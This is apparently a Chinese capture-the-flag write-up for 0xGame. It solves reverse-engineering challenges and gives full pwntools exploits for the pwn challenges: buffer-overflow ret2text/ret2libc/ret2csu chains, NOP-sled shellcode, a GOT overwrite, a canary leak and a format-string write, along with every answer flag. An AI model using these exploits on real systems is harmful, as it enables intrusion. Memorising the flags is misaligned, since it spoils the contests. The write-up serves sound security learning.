跳转至

0xgame

week1

Re

数字筑基

1
2
3
4
5
6
7
8
9
else
  {
    sub_401020((char *)&byte_402210, Arglist[0]);
    v4 = "0xGame{5f4812eb-6dee-46ab-9910-92af643cd911}\n";
  }
  sub_401020(v4, Arglist[0]);
  system("pause");
  return 0;
}
0xGame{5f4812eb-6dee-46ab-9910-92af643cd911}

代码金丹

1
2
3
4
5
6
7
  v3 = strcmp(Arglist, "0xGame{620bbfcb-e56f-4e6d-8069-9587e066130a}");
  if ( v3 )
    v3 = v3 < 0 ? -1 : 1;
  v4 = (char *)&unk_4021B0;
  if ( !v3 )
    v4 = (char *)&byte_40217C;
  sub_401020(v4, Arglist[0]);
0xGame{620bbfcb-e56f-4e6d-8069-9587e066130a}

网络元婴

mov     [rsp+1F0h+var_1D0], 30h ; '0'
mov     [rsp+1F0h+var_1CC], 78h ; 'x'
xor     ebx, ebx
mov     [rsp+1F0h+var_1C8], 47h ; 'G'
mov     [rsp+1F0h+var_1C4], 61h ; 'a'
mov     [rsp+1F0h+var_1C0], 6Dh ; 'm'
mov     [rsp+1F0h+var_1BC], 65h ; 'e'
mov     [rsp+1F0h+var_1B8], 7Bh ; '{'
mov     [rsp+1F0h+var_1B4], 37h ; '7'
mov     [rsp+1F0h+var_1B0], 31h ; '1'
mov     [rsp+1F0h+var_1AC], 30h ; '0'
mov     [rsp+1F0h+var_1A8], 37h ; '7'
mov     [rsp+1F0h+var_1A4], 65h ; 'e'
mov     [rsp+1F0h+var_1A0], 65h ; 'e'
mov     [rsp+1F0h+var_19C], 62h ; 'b'
mov     [rsp+1F0h+var_198], 38h ; '8'
mov     [rsp+1F0h+var_194], 2Dh ; '-'
mov     [rsp+1F0h+var_190], 36h ; '6'
mov     [rsp+1F0h+var_18C], 37h ; '7'
mov     [rsp+1F0h+var_188], 31h ; '1'
mov     [rsp+1F0h+var_184], 39h ; '9'
mov     [rsp+1F0h+var_180], 2Dh ; '-'
mov     [rsp+1F0h+var_17C], 34h ; '4'
mov     [rsp+1F0h+var_178], 39h ; '9'
mov     [rsp+1F0h+var_174], 38h ; '8'
mov     [rbp+0F0h+var_170], 32h ; '2'
mov     [rbp+0F0h+var_16C], 2Dh ; '-'
mov     [rbp+0F0h+var_168], 61h ; 'a'
mov     [rbp+0F0h+var_164], 30h ; '0'
mov     [rbp+0F0h+var_160], 33h ; '3'
mov     [rbp+0F0h+var_15C], 64h ; 'd'
mov     [rbp+0F0h+var_158], 2Dh ; '-'
mov     [rbp+0F0h+var_154], 39h ; '9'
mov     [rbp+0F0h+var_150], 38h ; '8'
mov     [rbp+0F0h+var_14C], 35h ; '5'
mov     [rbp+0F0h+var_148], 33h ; '3'
mov     [rbp+0F0h+var_144], 30h ; '0'
mov     [rbp+0F0h+var_140], 33h ; '3'
mov     [rbp+0F0h+var_13C], 33h ; '3'
mov     [rbp+0F0h+var_138], 35h ; '5'
mov     [rbp+0F0h+var_134], 64h ; 'd'
mov     [rbp+0F0h+var_130], 66h ; 'f'
mov     [rbp+0F0h+var_12C], 39h ; '9'
mov     [rbp+0F0h+var_128], 33h ; '3'
mov     [rbp+0F0h+var_124], 7Dh ; '}'
0xGame{7107eeb8-6719-4982-a03d-98530335df93}

虚拟化神

这里的逻辑是检测config.txt的值是不是==1, ==1输出flag,直接修改config中的值为1

  while ( v5 );
  fopen_s(&Stream, "config.txt", "r");
  if ( Stream && (fgets(Buffer, 2, Stream), fclose(Stream), atoi(Buffer) == 1) )
  {
    vfprintf1((char *)&byte_1400032B8);
    vfprintf1("%s\n", (const char *)v10);
  }
  else
  {
    vfprintf1((char *)&byte_1400032E0);
    scanf("%s");
    if ( !strcmp(v15, (const char *)v10) )
    {
      fopen_s(&Stream, "config.txt", "w");
      vfprintf(Stream, "%d", (va_list)1);
      fclose(Stream);
      vfprintf1(byte_1400032F8);
    }
    else
    {
      fopen_s(&Stream, "config.txt", "w");
      vfprintf(Stream, "%d", 0i64);
      fclose(Stream);
      vfprintf1((char *)&byte_140003328);
    }
  }
0xGame{c9fcd83d-e27a-4569-8ba1-62555b6dc6ac}

赛博天尊

这里需要 构造一个能跳过if判断的数据,这个数据就是flag,这个数据的构造方式就是解方程,这里有些很直观的约束条件,flag长度是44,求解的范围是0xGame{%16llx-%16llx-%16llx-%16llx-%16llx} 这里五个位置,分别对应v7 v8 v9 v10 v11,然后这五个未知数的性质是下面几个运算 !=改成== ,用z3写脚本求这个方程

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  __int64 v4; // rdx
  char *v5; // rcx
  __int64 v7; // [rsp+40h] [rbp-148h]
  __int64 v8; // [rsp+48h] [rbp-140h]
  __int64 v9; // [rsp+50h] [rbp-138h]
  __int64 v10; // [rsp+58h] [rbp-130h]
  __int64 v11; // [rsp+60h] [rbp-128h]
  char Buffer[256]; // [rsp+70h] [rbp-118h] BYREF

  sub_140001020((char *)&Format);
  sub_140001080("%s");
  v3 = -1i64;
  do
    ++v3;
  while ( Buffer[v3] );
  if ( v3 != 44
    || Buffer[43] != 125
    || (sub_1400010E0(Buffer, "0xGame{%16llx-%16llx-%16llx-%16llx-%16llx}"),
        7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7) != 0x12021DE669FC2i64)
    || (v4 = v9 + v10 + 2 * v10 + 2 * (v11 + v7), v8 + 2 * v4 + v4 != 0x159BFFC17D045i64)
    || v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7) != 0xACE320D12501i64
    || v8 + 2 * (v7 + v11 + v9 + 2 * v10) != 0x733FFEB3A4FAi64
    || (v5 = (char *)&unk_1400032B8, v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7 != 0x1935EBA54EB28i64) )
  {
    v5 = (char *)&byte_1400032D8;
  }
  sub_140001020(v5);
  system("pause");
  return 0;
}
from z3 import *

v7, v8, v9, v10, v11 = BitVecs('v7 v8 v9 v10 v11', 64)

def int64_to_ascii_bytes(num):
    ascii_bytes = []
    for _ in range(8):
        byte = num & 0xFF
        ascii_bytes.append(byte)
        num >>= 8
    return ascii_bytes[::-1]

v4 = v9 + v10 + 2 * v10 + 2 * (v11 + v7)

constraints = [
    7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7) == 0x12021DE669FC2,
    # v4 == v9 + v10 + 2 * v10 + 2 * (v11 + v7),
    # v8 + 2 * v4 + v4 == 0x159BFFC17D045,
    v8 + 2 * v4 + v4 == 0x159BFFC17D045,
    v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7) == 0xACE320D12501,
    v8 + 2 * (v7 + v11 + v9 + 2 * v10) == 0x733FFEB3A4FA,
    v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7 == 0x1935EBA54EB28
]
s = Solver()
s.add(constraints)

if s.check() == sat:
    m = s.model()
else:
    m = None
print(m)

if m != None:
    print(f"0xGame{{{hex(m[v7].as_long())}-{hex(m[v8].as_long())}-{hex(m[v9].as_long())}-{hex(m[v10].as_long())}-{hex(m[v11].as_long())}}}")
else:
    print("None")
0xGame{a08dd948-39da-4068-a33f-399f5eca5562}

pwn

找不到且不对劲的flag

ls -al有个隐藏目录,里面有flag

0xGame{N3t_cA7_M30w_9dn23hcx8}

永远进不去的后门

ret2text,read是可以溢出的,有system 有binsh 有pop rdi ret

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[8]; // [rsp+0h] [rbp-40h] BYREF
  int v5; // [rsp+8h] [rbp-38h]

  bufinit(argc, argv, envp);
  puts("Welcome to 0xGame2023!");
  puts("Tell me sth interesting, and I will give you what you want.");
  read(0, buf, 0x100uLL);
  if ( v5 % 2023 == 2023 )
    system("/bin/sh");
  else
    puts("Not that interesting. Bye.");
  return 0;
}
from pwn import *

context.binary = elf = ELF("ret2text")
context.log_level = 'debug'

ip = "8.130.35.16"
port = 51002
p = remote(ip,port)

## p = process()

p.recvline()
p.recvline()

payload = b'a' * (0x40 + 8)
payload += p64(0x40101a) # ret
payload += p64(0x401323) # pop rdi ret
payload += p64(0x40205c) # binsh
payload += p64(0x401090) # system

p.sendline(payload)

p.interactive()
0xGame{W3lC0me_4b0rd_PWN_L4nd!_k20cu2c7}

随便乱搞的shellcode

好耶,这个题好好玩

bufa = (void (*)(void))&buf[rand() % 256]; 然后 bufa(); 这里命中shellcode的概率很小,搜索了一下,有一种叫做nop滑行的方式,在shellcode前填充大量的nop,命中nop部分的话,会像滑行一样滑到shellcode。

然后close(1); 这里把标准输出流给关了,查询了一下,其实还有一个fd为2的错误输出流,用 > &2 重定向到错误输出流就能读到flag啦

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  char *buf; // [rsp+8h] [rbp-8h]
  void (*bufa)(void); // [rsp+8h] [rbp-8h]

  bufinit(argc, argv, envp);
  buf = (char *)mmap((void *)0x20230000, 0x1000uLL, 7, 34, -1, 0LL);
  puts("Now show me your code:");
  read(0, buf, 0x100uLL);
  puts("Implementing security mechanism...");
  v3 = time(0LL);
  srand(v3);
  bufa = (void (*)(void))&buf[rand() % 256];
  close(1);
  puts("Done!");
  bufa();
  return 0;
}
from pwn import *

context.binary = elf = ELF("ret2shellcode")
context.log_level = 'debug'
context(arch='amd64', os='linux')

ip = "8.130.35.16"
port = 51003
p = remote(ip,port)

## p = process()

p.recvline()

shellcode = asm(shellcraft.amd64.linux.sh())

nop_sled = b'\x90' * (0x100 - len(shellcode))
payload = nop_sled + shellcode

p.sendline(payload)

p.interactive()
0xGame{Try_to_Wr1t3_by_yourse1f!_an9d02cy}

我后门呢?

ret2libc捏,strlen的话,是根据\x00来判断长度的,所以可以通过\x00绕过,然后用put_plt(put_got)来泄露一个puts的地址,通过puts的地址和puts在libc中的偏移计算出libc_base。有了libc_base就能拿到想要的东西啦(指system 和binsh字符串)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  bufinit(argc, argv, envp);
  puts("There won't be shell for you!");
  puts("Now give me your input:");
  read(0, buf, 0x100uLL);
  if ( strlen(buf) > 0x20 )
  {
    puts("No chance for you to overflow!");
    exit(1);
  }
  puts("See you next time!");
  return 0;
}
from pwn import *

context.binary = elf = ELF('ret2libc')
libc = ELF('libc.so.6')
context.log_level = 'debug'

ip = "8.130.35.16"
port = 51005
p = remote(ip,port)

## p = process()

for i in range(2):
    p.recvline()

offset = b'\x00' * (0x20 + 8)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x401333
main = 0x401245

payload = offset
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
p.sendline(payload)

p.recv(len("See you next time!"))
puts_address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success(f"leek_puts_address -> {hex(puts_address)}")

libc_base = puts_address - libc.symbols['puts']
success(f"libc_base_addresss -> {hex(libc_base)}")

for i in range(2):
    p.recvline()

system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = 0x40101a

payload = offset
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)
## gdb.attach(p)#
p.sendline(payload)

p.recvline()

p.interactive()

高端的syscall[补]

ww后面才知道有ret2csu这个技巧,ret2csu是使用了一些比较巧妙的gadgets来控制syscall execve需要的edi,rsi,rdx这三个寄存器的值。

题目中有set_rax的gadget,有pop rdi;ret的gadget,有pop rsi ; pop r15 ;ret 的gadget。 但是没有直接修改rdx的gadget,这时候可以使用libc_csu_init中的gadget来改变rdx寄存器的状态。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[16]; // [rsp+0h] [rbp-10h] BYREF

  bufinit(argc, argv, envp);
  puts("I leave something interesting in this program.");
  puts("Now try to find them out!");
  puts("Input: ");
  gets(v4);
  return 0;
}
.text:0000000000401196                               public set_rax
.text:0000000000401196                               set_rax proc near
.text:0000000000401196
.text:0000000000401196                               var_4= dword ptr -4
.text:0000000000401196
.text:0000000000401196                               ; __unwind {
.text:0000000000401196 F3 0F 1E FA                   endbr64
.text:000000000040119A 55                            push    rbp
.text:000000000040119B 48 89 E5                      mov     rbp, rsp
.text:000000000040119E 89 7D FC                      mov     [rbp+var_4], edi
.text:00000000004011A1 8B 45 FC                      mov     eax, [rbp+var_4]
.text:00000000004011A4 5D                            pop     rbp
.text:00000000004011A5 C3                            retn
.text:00000000004011A5                               ; } // starts at 401196
.text:00000000004011A5
.text:00000000004011A5                               set_rax endp

程序中没有binsh,需要用get往bss段写binsh,最后csu gadget里call r15这个也可以利用一下,因为汇编中[]符号是取地址中的数据的意思,类似于解引用,我们想call syscall的地址,所以不能直接传syscall过去,要往一块区域上写syscall的地址,然后把这块区域的地址传过去,解引用后就得到syscall的地址,就能正常call啦

.text:00000000004012C0                               loc_4012C0:                             ; CODE XREF: __libc_csu_init+54j
.text:00000000004012C0 4C 89 F2                      mov     rdx, r14
.text:00000000004012C3 4C 89 EE                      mov     rsi, r13
.text:00000000004012C6 44 89 E7                      mov     edi, r12d
.text:00000000004012C9 41 FF 14 DF                   call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:00000000004012C9
.text:00000000004012CD 48 83 C3 01                   add     rbx, 1
.text:00000000004012D1 48 39 DD                      cmp     rbp, rbx
.text:00000000004012D4 75 EA                         jnz     short loc_4012C0
.text:00000000004012D4
.text:00000000004012D6
.text:00000000004012D6                               loc_4012D6:                             ; CODE XREF: __libc_csu_init+35j
.text:00000000004012D6 48 83 C4 08                   add     rsp, 8
.text:00000000004012DA 5B                            pop     rbx
.text:00000000004012DB 5D                            pop     rbp
.text:00000000004012DC 41 5C                         pop     r12
.text:00000000004012DE 41 5D                         pop     r13
.text:00000000004012E0 41 5E                         pop     r14
.text:00000000004012E2 41 5F                         pop     r15
.text:00000000004012E4 C3                            retn
.text:00000000004012E4                               ; } // starts at 401280
.text:00000000004012E4
.text:00000000004012E4                               __libc_csu_init endp
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./ret2syscall')

is_debug = 1

if(is_debug):
    p = process()
else:
    ip = "1.container.jingsai.apicon.cn"
    port = 30926
    p = remote(ip,port)

pop_rdi_ret = 0x00000000004012e3
set_rax = 0x0000000000401196
pop_rsi_pop_r15_ret = 0x00000000004012e1
syscall = 0x00000000004011ae
csu1 = 0x00000000004012DA
csu2 = 0x00000000004012C0


gdb.attach(p)
p.sendlineafter("Input: \n",flat([
    b'a' * (0x10 + 0x8),
    pop_rdi_ret,0x404000,elf.plt.gets, # gets(bss_addr)
    pop_rdi_ret,0x3b,set_rax,
    csu1,0,1,0x404000,0,0,0x404008,
    csu2
]))

p.sendline(b"/bin/sh" + b"\x00" + p64(syscall))

p.interactive()

got-it[补]

show函数没有检查下界,可以输入一个负数来打印got表上的一个地址,然后通过这个地址减去libc中的偏移 计算出libc_base

int show()
{
  int v1; // [rsp+Ch] [rbp-4h] BYREF

  printf("Input student id: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 15 )
    return printf("Student name: %s\n", &list[8 * v1]);
  else
    return puts("Invalid id!");
}

edit函数也是没有检查下界,可以通过上面计算出的libc_base + system的偏移取到system的实际地址,然后把got表中exit的位置写成system的地址,就能system(binsh)啦

int edit()
{
  int v1; // [rsp+Ch] [rbp-4h] BYREF

  printf("Input student id: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 15 )
    return puts("Invalid id!");
  printf("Input new student name: ");
  return read(0, (char *)&list + 8 * v1, 8uLL);
}
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./vuln')
libc = ELF("./libc.so.6")
is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "8.130.35.16"
    port = 51006
    p = remote(ip,port)

def menu(x):
    p.sendlineafter(">> ",str(x).encode('utf-8'))

def edit(idx,name):
    menu(3)
    p.sendlineafter(b"id: ",str(idx).encode())
    p.sendafter(b"name: ",name)

def show(x):
    menu(2)
    p.sendlineafter("Input student id: ",str(x).encode('utf-8'))
    p.recvuntil(b"name: ")
    return p.recvline()[:-1] # \n

puts_got=show(-17) # 0x4040A0 - (17 * 8) = 0x404018

puts_got = u64(puts_got.ljust(8, b'\x00'))
success(f"puts_got -> {puts_got}")

libc.address = puts_got-libc.sym.puts
success(f"libc_base ->{hex(libc.address)}")
success(f"system_addr ->{hex(libc.sym.system)}")

## gdb.attach(p)
edit(-11,p64(libc.sym.system)[:6])
menu(0x2023)

p.interactive()

week2

re

符文解密师

关键是这一行, sub_7616D0是一个c++的类,看起来会比较奇怪,动调了一下,这个sub_7616D0的作用是把inputString和"deadc0de"进行比较,相等的话返回1,传入deadc0de后拿到flag

 if ( (unsigned __int8)sub_7616D0(inputString, "deadc0de") )
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int v5; // eax
  int inputString[6]; // [esp+54h] [ebp-28h] BYREF
  int v8; // [esp+78h] [ebp-4h]

  sub_761CC0(inputString);
  v8 = 0;
  v3 = sub_761360(std::cout, &unk_764244);
  v4 = sub_761360(v3, &unk_76421C);
  std::ostream::operator<<(v4, sub_761A40);
  sub_7610A0(std::cin, inputString);
  if ( (unsigned __int8)sub_7616D0(inputString, "deadc0de") )
    v5 = sub_761360(std::cout, &unk_764278);
  else
    v5 = sub_761360(std::cout, &unk_7642C4);
  std::ostream::operator<<(v5, sub_761A40);
  system("pause");
  v8 = -1;
  sub_7620D0();
  return 0;
}
0xGame{18f03f86-9783-62b5-466d-fc84c28bad3b}

码海舵师

简单的看了一下,有个没换表的base64encode函数,base64在线解密拿到flag捏

// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int v6; // [esp-4h] [ebp-60h]
  int v7; // [esp+0h] [ebp-5Ch]
  int v8[6]; // [esp+4h] [ebp-58h] BYREF
  char v9[24]; // [esp+1Ch] [ebp-40h] BYREF
  char v10[24]; // [esp+34h] [ebp-28h] BYREF
  int v11; // [esp+58h] [ebp-4h]

  sub_401660(v10);
  v11 = 0;
  v3 = sub_401900(sub_401B40);
  std::ostream::operator<<(v3, v6);
  sub_401B70(std::cin, (int)v10);
  sub_401310(v8[0], v8[1]);
  LOBYTE(v11) = 1;
  sub_401630(v9, "MHhHYW1le2ZjYmVlZWM3LTc3NTgtYmEyZi1jMDU5LTJmNWNhOWEzODc5YX0=");
  LOBYTE(v11) = 2;
  sub_401D40(v8, v9);
  v4 = sub_401900(sub_401B40);
  std::ostream::operator<<(v4, v7);
  system("pause");
  sub_401620(v9);
  sub_401620(v8);
  sub_401620(v10);
  return 0;
}
0xGame{fcbeeec7-7758-ba2f-c059-2f5ca9a3879a}

编译逆旅者

https://tool.lu/pyc/ 可以用这个网站在线反编译pyc文件

所以真理的旗帜是114514呀

1
2
3
4
import binascii

flag = binascii.unhexlify(hex(0x307847616D657B63646539646331372D356133312D356330612D646633342D3663373562373634366334627D)[2:].encode())
print(flag)
#!/usr/bin/env python
## visit https://tool.lu/pyc/ for more information
## Version: Python 3.11

import binascii

def main():
    flag = binascii.unhexlify(hex(0x307847616D657B63646539646331372D356133312D356330612D646633342D3663373562373634366334627DL)[2:].encode())
    user_input = input('请输入一个秘密的数字:')
    if not len(user_input) != 13 or user_input.isdigit():
        print('无效输入。必须是13位数字。')
        return None
    if None == '1145141919810':
        print(f'''真理的旗帜:{flag}''')
        return None
    None('秘密的数字错误!')

if __name__ == '__main__':
    main()
    return None
0xGame{cde9dc17-5a31-5c0a-df34-6c75b7646c4b}

注册侦探

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rsi
  _BYTE *v4; // rdi
  __int64 v5; // rax
  _BYTE *i; // rbx
  __int64 v7; // rcx
  void *v8; // rdx
  __int64 v9; // rax
  int Src[12]; // [rsp+30h] [rbp-19h] BYREF
  HKEY hKey; // [rsp+60h] [rbp+17h] BYREF
  DWORD cbData; // [rsp+68h] [rbp+1Fh] BYREF
  DWORD Type; // [rsp+6Ch] [rbp+23h] BYREF
  BYTE Data[4]; // [rsp+70h] [rbp+27h] BYREF
  __int128 v16; // [rsp+78h] [rbp+2Fh]
  char *v17; // [rsp+88h] [rbp+3Fh]

  cbData = 4;
  Type = 4;
  v16 = 0i64;
  Src[0] = 1383353091;
  Src[1] = 189290078;
  Src[2] = 38864395;
  Src[3] = 503515984;
  Src[4] = 1364350722;
  Src[5] = 1448105758;
  Src[6] = 89136641;
  Src[7] = 85852241;
  Src[8] = 72812293;
  Src[9] = 50464516;
  Src[10] = 1314325334;
  v3 = (char *)operator new(0x2Cui64);
  *(_QWORD *)&v16 = v3;
  v4 = v3 + 44;
  v17 = v3 + 44;
  memmove(v3, Src, 0x2Cui64);
  *((_QWORD *)&v16 + 1) = v3 + 44;
  if ( !RegOpenKeyExA(HKEY_CURRENT_USER, "SOFTWARE\\0xGame", 0, 0x20019u, &hKey) )
  {
    if ( RegQueryValueExA(hKey, "registered", 0i64, &Type, Data, &cbData) )
    {
      v8 = &unk_7FF7160A3430;
    }
    else
    {
      if ( *(_DWORD *)Data == 1 )
      {
        v5 = sub_7FF7160A1420(std::cout, &unk_7FF7160A33E0);
        std::ostream::operator<<(v5, sub_7FF7160A15F0);
        for ( i = v3; i != v4; ++i )
          sub_7FF7160A1630(std::cout, *i ^ 0x33);
        v7 = std::cout;
        goto LABEL_10;
      }
      v8 = &unk_7FF7160A3410;
    }
    v7 = sub_7FF7160A1420(std::cout, v8);
LABEL_10:
    std::ostream::operator<<(v7, sub_7FF7160A15F0);
    RegCloseKey(hKey);
    goto LABEL_12;
  }
  v9 = sub_7FF7160A1420(std::cout, &unk_7FF7160A3450);
  std::ostream::operator<<(v9, sub_7FF7160A15F0);
LABEL_12:
  system("pause");
  if ( v3 )
    j_j_free(v3);
  return 0;
}

这道题逻辑有些怪,但是观察到这里对上面src进行了操作,假设src是字符串,按字节拆分反转,然后异或操作一下,得到flag

1
2
    for ( i = v3; i != v4; ++i )
      sub_7FF7160A1630(std::cout, *i ^ 0x33);
def xor(num):

    bytes_list = [
        num & 0xFF,
        (num >> 8) & 0xFF,
        (num >> 16) & 0xFF,
        (num >> 24) & 0xFF,
    ]

    xor_bytes = [byte ^ 0x33 for byte in bytes_list]
    return ''.join([chr(x) for x in xor_bytes])

flag = [
    1383353091,189290078,38864395,503515984,1364350722,
    1448105758,89136641,85852241,72812293,50464516,1314325334]

for i in flag:
    string = xor(i)
    print(string,end="")
0xGame{885b1c80-1dab-dce2-c6b3-664d77410e0d}

壳艺大师

这一题是c++ 写的,有很多奇怪的伪代码,这时候的思路是用动调的方式,观察数据变化,忽略掉对输入数据没有影响的操作,关注对输入数据有变化的操作,然后分析这些操作的逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 inputLen; // rbx
  _BYTE *v4; // rax
  char v5; // r9
  __int64 v6; // r9
  __int64 v7; // rdx
  __int64 v8; // r8
  _BYTE *v9; // rax
  int v10; // r10d
  char v11; // r9
  __int64 v12; // rax
  __int64 v13; // rax
  __int64 v15; // rax
  int v16[11]; // [rsp+20h] [rbp-59h] BYREF
  char v17[4]; // [rsp+4Ch] [rbp-2Dh] BYREF
  __int128 v18; // [rsp+50h] [rbp-29h] BYREF
  char v19[16]; // [rsp+60h] [rbp-19h] BYREF
  char inputString[32]; // [rsp+70h] [rbp-9h] BYREF
  char v21[24]; // [rsp+90h] [rbp+17h] BYREF
  char v22[32]; // [rsp+A8h] [rbp+2Fh] BYREF

  sub_7FF7B18E16E0(v22, argv, envp);
  sub_7FF7B18E1600(v21);
  v16[0] = 1361186916;
  v16[1] = 253370901;
  v16[2] = 402750470;
  v16[3] = 492178028;
  v16[4] = 139951691;
  v16[5] = 1280387144;
  v16[6] = 1392985440;
  v16[7] = 1582069534;
  v16[8] = 1330871133;
  v16[9] = 1376213345;
  v16[10] = 268923932;
  v18 = *(_OWORD *)std::u16string_view::basic_string_view<char16_t,std::char_traits<char16_t>>(v19, v16, v17);
  sub_7FF7B18E1640(v21, &v18);
  sub_7FF7B18E1720();
  sub_7FF7B18E1AF0(std::cout, &unk_7FF7B18E4468);
  sub_7FF7B18E1D00(std::cin, inputString);
  inputLen = _except_get_jumpbuf_sp((__int64)inputString);
  if ( inputLen )
  {
    _except_get_jumpbuf_sp((__int64)v22);
    while ( 1 )
    {
      sub_7FF7B18E16B0();
      v4 = (_BYTE *)sub_7FF7B18E16B0();
      LOBYTE(v6) = *v4 ^ v5;
      v9 = (_BYTE *)std::unique_ptr<char [0]>::operator[](v21, v7, v8, v6);
      if ( v11 != *v9 )
        break;
      if ( v10 + 1 >= inputLen )
        goto LABEL_5;
    }
    v15 = sub_7FF7B18E1AF0(std::cout, &unk_7FF7B18E4488);
    std::ostream::operator<<(v15, sub_7FF7B18E1EE0);
  }
  else
  {
LABEL_5:
    v12 = sub_7FF7B18E1AF0(
            std::cout,
            "\xB9\xA7ϲ\xA3\xA1\xC4\xFA\xBB\xF1\xB5\xC3\xC1\xCB\xD7\xEE\xD6\xD5\xB5\xC4\xC8\xD9\xD2\xAB\xA3\xBA");
    v13 = sub_7FF7B18E1F20(v12, inputString);
    std::ostream::operator<<(v13, sub_7FF7B18E1EE0);
    system("pause");
  }
  sub_7FF7B18E16D0((__int64)inputString);
  sub_7FF7B18E1630(v21);
  sub_7FF7B18E16D0((__int64)v22);
  return 0;
}

首先要找一条路径,程序走到哪里是正确的

走到这里是正确的

1
2
3
4
LABEL_5:
    v12 = sub_7FF7B18E1AF0(
            std::cout,
            "\xB9\xA7ϲ\xA3\xA1\xC4\xFA\xBB\xF1\xB5\xC3\xC1\xCB\xD7\xEE\xD6\xD5\xB5\xC4\xC8\xD9\xD2\xAB\xA3\xBA");

然后往上找 jmp到 label_5的操作,找到了关键位置,对数据操作关键的逻辑是这个异或,动调拿到了v5的值

    while ( 1 )
    {
      sub_7FF7B18E16B0();
      v4 = (_BYTE *)sub_7FF7B18E16B0();
      LOBYTE(v6) = *v4 ^ v5;
      v9 = (_BYTE *)std::unique_ptr<char [0]>::operator[](v21, v7, v8, v6);
      if ( v11 != *v9 )
        break;
      if ( v10 + 1 >= inputLen )
        goto LABEL_5;
    }

异或一遍拿到flag

1
2
3
4
5
6
7
flag = [100, 16, 34, 81, 21, 34, 26, 15, 6, 124, 1, 24, 108, 10, 86, 29, 75, 126, 87, 8, 72, 40, 81, 76, 96, 69, 7, 83, 30, 119, 76, 94, 93, 123, 83, 79, 97, 89, 7, 82, 28, 116, 7, 16]

key = [0x54, 0x68, 0x65, 0x30, 0x78, 0x47, 0x61, 0x6D, 0x65, 0x4B, 0x65, 0x79]

for i in range(len(flag)):
    byte = flag[i] ^ key[i % len(key)]
    print(chr(byte),end="")
0xGame{bc7da8b3-396e-c454-bcf0-3806651bbd3f}

pwn

ezshop

可以买-1个flag,然后money就大于10000000了

calc

pwntool recvline过来,然后用正则拆分,计算后send回去就好了

from pwn import *
import re

p = remote('8.130.35.16',55001)

pattern = r"^(\d+)([+])(\d+)=$"

line = p.recvline() ; print(line)

for i in range(100):

    line = p.recvline(); print(line)

    line = p.recvuntil(b'=').decode().strip(); print(line)
    match = re.match(pattern,line)

    num1 , operator , num2 = match.groups() if match else (None, None, None)
    print(f"num1,num2{num1,num2}")

    result = str(int(num1) + int(num2)).encode('utf-8')
    print(f"result ->{result}")
    p.sendline(result)

    line = p.recvline(); print(line)

p.interactive()

ezcanary

有个backdoor函数

可以把canary的低位 \x00 给覆盖了,这样就能把canary打印出来,然后第二次read的时候带上canary,就好啦,这里有点坑的地方是getchar,要用send不要用sendline,会多一个\n

from pwn import *
import struct

context.binary = elf = ELF('./pwn')
context.log_level = 'debug'

ip = "8.130.35.16"
port = 55000
p = remote(ip,port)
## p = process()

p.recvline()

payload = b'a' * (24 + 1)
p.send(payload)

## gdb.attach(p)

p.recvuntil(b'Hello, ')
line = p.recv(len(payload))

canary = b'\x00' + p.recv(7)

print(f"canary is -> {canary}")


s = chr(121).encode('utf-8')
p.send(s)

p.recvline()

payload = b'a' * (24) + canary
payload += b'a' * 8
payload += p64(0x401231)
p.sendline(payload)


p.interactive()

fmt1

read不能溢出,通过格式化字符串漏洞 %n 往 v7写数据,将v5的值改成8227就能拿到flag啦,偏移的计算可以通过gdb来调试,然后根据v6 v5的地址,找找周围,就能很快找到v7的地址

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[256]; // [rsp+0h] [rbp-110h] BYREF
  int v5; // [rsp+100h] [rbp-10h] BYREF
  int v6; // [rsp+104h] [rbp-Ch]
  int *v7; // [rsp+108h] [rbp-8h]

  bufinit(argc, argv, envp);
  v7 = &v5;
  v6 = 8227;
  v5 = 8447;
  printf("Input your content: ");
  read(0, buf, 0x100uLL);
  printf(buf);
  if ( v6 == v5 )
  {
    puts("Congratulations! Now here is your shell!");
    puts("And welcome to format string world!");
    system("/bin/sh");
  }
  return 0;
}

这里 %39$n是取偏移39的地址,然后往这个地址里面写入输出字符长度的数据,%8227c这里输出了8227个字符,这样就能修改v5的值啦

%8227c%39$n